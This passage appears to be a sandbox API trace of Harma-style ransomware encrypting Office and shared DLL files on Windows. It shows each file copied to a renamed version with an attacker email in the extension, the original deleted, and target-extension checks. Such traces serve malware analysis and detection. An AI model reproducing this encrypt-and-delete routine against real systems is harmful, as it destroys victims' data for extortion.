shared\\grphflt\\jpegim32.flt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0174.895] GetLastError () returned 0x0 [0174.895] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x379fed4*=0x3ad80, lpOverlapped=0x0) returned 1 [0175.167] WriteFile (in: hFile=0x1e0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x3ad90, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x379fc9c*=0x3ad90, lpOverlapped=0x0) returned 1 [0175.172] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.172] WriteFile (in: hFile=0x1e0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x379fc9c*=0xec, lpOverlapped=0x0) returned 1 [0175.172] SetEndOfFile (hFile=0x1e0) returned 1 [0175.173] CloseHandle (hObject=0x1e0) returned 1 [0175.173] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.173] SetEndOfFile (hFile=0x1dc) returned 1 [0175.175] CloseHandle (hObject=0x1dc) returned 1 [0175.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0175.175] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 1 [0175.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0175.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0175.176] lstrlenW (lpString=".doc") returned 4 [0175.176] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0175.177] lstrlenW (lpString=".docx") returned 5 [0175.177] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0175.177] lstrlenW (lpString=".pdf") returned 4 [0175.177] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0175.177] lstrlenW (lpString=".xls") returned 4 [0175.177] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0175.177] lstrlenW (lpString=".xlsx") returned 5 [0175.177] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0175.177] lstrlenW (lpString=".ppt") returned 4 [0175.177] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0175.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0175.177] lstrlenW (lpString=".zip") returned 4 [0175.177] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0175.177] lstrlenW (lpString=".rar") returned 4 [0175.177] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0175.177] lstrlenW (lpString=".bz2") returned 4 [0175.177] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0175.177] lstrlenW (lpString=".7z") returned 3 [0175.177] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0175.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0175.177] lstrlenW (lpString=".dbf") returned 4 [0175.177] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0175.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0175.177] lstrlenW (lpString=".1cd") returned 4 [0175.177] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0175.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0175.177] lstrlenW (lpString=".jpg") returned 4 [0175.177] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0175.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0175.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0175.178] lstrlenW (lpString=".doc") returned 4 [0175.178] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0175.178] lstrlenW (lpString=".docx") returned 5 [0175.178] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0175.178] lstrlenW (lpString=".pdf") returned 4 [0175.178] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0175.178] lstrlenW (lpString=".xls") returned 4 [0175.178] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0175.178] lstrlenW (lpString=".xlsx") returned 5 [0175.178] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0175.178] lstrlenW (lpString=".ppt") returned 4 [0175.178] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0175.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0175.178] lstrlenW (lpString=".zip") returned 4 [0175.178] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0175.178] lstrlenW (lpString=".rar") returned 4 [0175.178] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0175.178] lstrlenW (lpString=".bz2") returned 4 [0175.178] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0175.178] lstrlenW (lpString=".7z") returned 3 [0175.178] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0175.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0175.178] lstrlenW (lpString=".dbf") returned 4 [0175.179] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0175.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0175.179] lstrlenW (lpString=".1cd") returned 4 [0175.179] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0175.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0175.179] lstrlenW (lpString=".jpg") returned 4 [0175.179] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0175.179] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0175.179] lstrlenW (lpString="msitss55.dll") returned 12 [0175.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0175.613] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=430080) returned 1 [0175.613] CloseHandle (hObject=0x1ec) returned 1 [0175.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0175.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0175.676] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.676] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0175.705] GetLastError () returned 0x0 [0175.705] ReadFile (in: hFile=0x1f0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x379fed4*=0x69000, lpOverlapped=0x0) returned 1 [0175.726] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x69010, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x379fc9c*=0x69010, lpOverlapped=0x0) returned 1 [0175.733] ReadFile (in: hFile=0x1f0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.733] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x379fc9c*=0xec, lpOverlapped=0x0) returned 1 [0175.734] SetEndOfFile (hFile=0x1f4) returned 1 [0175.734] CloseHandle (hObject=0x1f4) returned 1 [0175.734] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.734] SetEndOfFile (hFile=0x1f0) returned 1 [0175.738] CloseHandle (hObject=0x1f0) returned 1 [0175.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0175.742] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 1 [0175.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0175.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0175.752] lstrlenW (lpString=".doc") returned 4 [0175.752] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0175.752] lstrlenW (lpString=".docx") returned 5 [0175.752] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0175.752] lstrlenW (lpString=".pdf") returned 4 [0175.752] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0175.752] lstrlenW (lpString=".xls") returned 4 [0175.752] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0175.752] lstrlenW (lpString=".xlsx") returned 5 [0175.753] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0175.753] lstrlenW (lpString=".ppt") returned 4 [0175.753] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0175.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0175.753] lstrlenW (lpString=".zip") returned 4 [0175.753] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0175.753] lstrlenW (lpString=".rar") returned 4 [0175.753] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0175.753] lstrlenW (lpString=".bz2") returned 4 [0175.753] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0175.753] lstrlenW (lpString=".7z") returned 3 [0175.753] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0175.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0175.753] lstrlenW (lpString=".dbf") returned 4 [0175.753] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0175.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0175.753] lstrlenW (lpString=".1cd") returned 4 [0175.753] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0175.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0175.753] lstrlenW (lpString=".jpg") returned 4 [0175.753] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0175.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0175.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0175.753] lstrlenW (lpString=".doc") returned 4 [0175.753] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0175.753] lstrlenW (lpString=".docx") returned 5 [0175.753] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0175.753] lstrlenW (lpString=".pdf") returned 4 [0175.753] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0175.753] lstrlenW (lpString=".xls") returned 4 [0175.754] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0175.754] lstrlenW (lpString=".xlsx") returned 5 [0175.754] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0175.754] lstrlenW (lpString=".ppt") returned 4 [0175.754] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0175.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0175.754] lstrlenW (lpString=".zip") returned 4 [0175.754] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0175.754] lstrlenW (lpString=".rar") returned 4 [0175.754] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0175.754] lstrlenW (lpString=".bz2") returned 4 [0175.754] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0175.754] lstrlenW (lpString=".7z") returned 3 [0175.754] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0175.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0175.754] lstrlenW (lpString=".dbf") returned 4 [0175.754] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0175.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0175.754] lstrlenW (lpString=".1cd") returned 4 [0175.754] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0175.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0175.754] lstrlenW (lpString=".jpg") returned 4 [0175.754] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0175.754] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0175.754] lstrlenW (lpString="ACEWSTR.DLL") returned 11 [0175.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.950] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=862608) returned 1 [0175.950] CloseHandle (hObject=0x1e4) returned 1 [0175.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 0x20 [0175.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.950] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.950] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0175.951] GetLastError () returned 0x0 [0175.951] ReadFile (in: hFile=0x1e4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x379fed4*=0xd2990, lpOverlapped=0x0) returned 1 [0176.120] WriteFile (in: hFile=0x1e8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xd29a0, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x379fc9c*=0xd29a0, lpOverlapped=0x0) returned 1 [0176.141] ReadFile (in: hFile=0x1e4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.141] WriteFile (in: hFile=0x1e8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x379fc9c*=0xea, lpOverlapped=0x0) returned 1 [0176.142] SetEndOfFile (hFile=0x1e8) returned 1 [0176.142] CloseHandle (hObject=0x1e8) returned 1 [0176.142] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.142] SetEndOfFile (hFile=0x1e4) returned 1 [0176.765] CloseHandle (hObject=0x1e4) returned 1 [0176.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0176.766] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 1 [0177.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0177.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0177.131] lstrlenW (lpString=".doc") returned 4 [0177.131] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0177.131] lstrlenW (lpString=".docx") returned 5 [0177.131] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0177.131] lstrlenW (lpString=".pdf") returned 4 [0177.131] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0177.131] lstrlenW (lpString=".xls") returned 4 [0177.131] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0177.131] lstrlenW (lpString=".xlsx") returned 5 [0177.131] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0177.131] lstrlenW (lpString=".ppt") returned 4 [0177.131] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0177.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0177.131] lstrlenW (lpString=".zip") returned 4 [0177.131] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0177.131] lstrlenW (lpString=".rar") returned 4 [0177.147] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0177.147] lstrlenW (lpString=".bz2") returned 4 [0177.147] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0177.147] lstrlenW (lpString=".7z") returned 3 [0177.147] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0177.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0177.147] lstrlenW (lpString=".dbf") returned 4 [0177.147] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0177.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0177.147] lstrlenW (lpString=".1cd") returned 4 [0177.147] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0177.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0177.148] lstrlenW (lpString=".jpg") returned 4 [0177.148] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0177.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0177.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0177.148] lstrlenW (lpString=".doc") returned 4 [0177.148] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0177.148] lstrlenW (lpString=".docx") returned 5 [0177.148] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0177.148] lstrlenW (lpString=".pdf") returned 4 [0177.148] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0177.148] lstrlenW (lpString=".xls") returned 4 [0177.148] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0177.148] lstrlenW (lpString=".xlsx") returned 5 [0177.148] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0177.149] lstrlenW (lpString=".ppt") returned 4 [0177.149] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0177.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0177.149] lstrlenW (lpString=".zip") returned 4 [0177.149] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0177.149] lstrlenW (lpString=".rar") returned 4 [0177.149] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0177.149] lstrlenW (lpString=".bz2") returned 4 [0177.149] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0177.149] lstrlenW (lpString=".7z") returned 3 [0177.149] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0177.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0177.149] lstrlenW (lpString=".dbf") returned 4 [0177.149] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0177.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0177.149] lstrlenW (lpString=".1cd") returned 4 [0177.149] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0177.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0177.149] lstrlenW (lpString=".jpg") returned 4 [0177.149] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0177.149] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0177.149] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0177.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0177.150] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=744888) returned 1 [0177.150] CloseHandle (hObject=0x1d4) returned 1 [0177.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0177.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0177.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0177.153] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.153] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0177.154] GetLastError () returned 0x0 [0177.154] ReadFile (in: hFile=0x1d4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x379fed4*=0xb5db8, lpOverlapped=0x0) returned 1 [0177.180] WriteFile (hFile=0x1ec, lpBuffer=0x3ca0020, nNumberOfBytesToWrite=0xb5dc0, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0) Thread: id = 87 os_tid = 0x678 [0174.701] 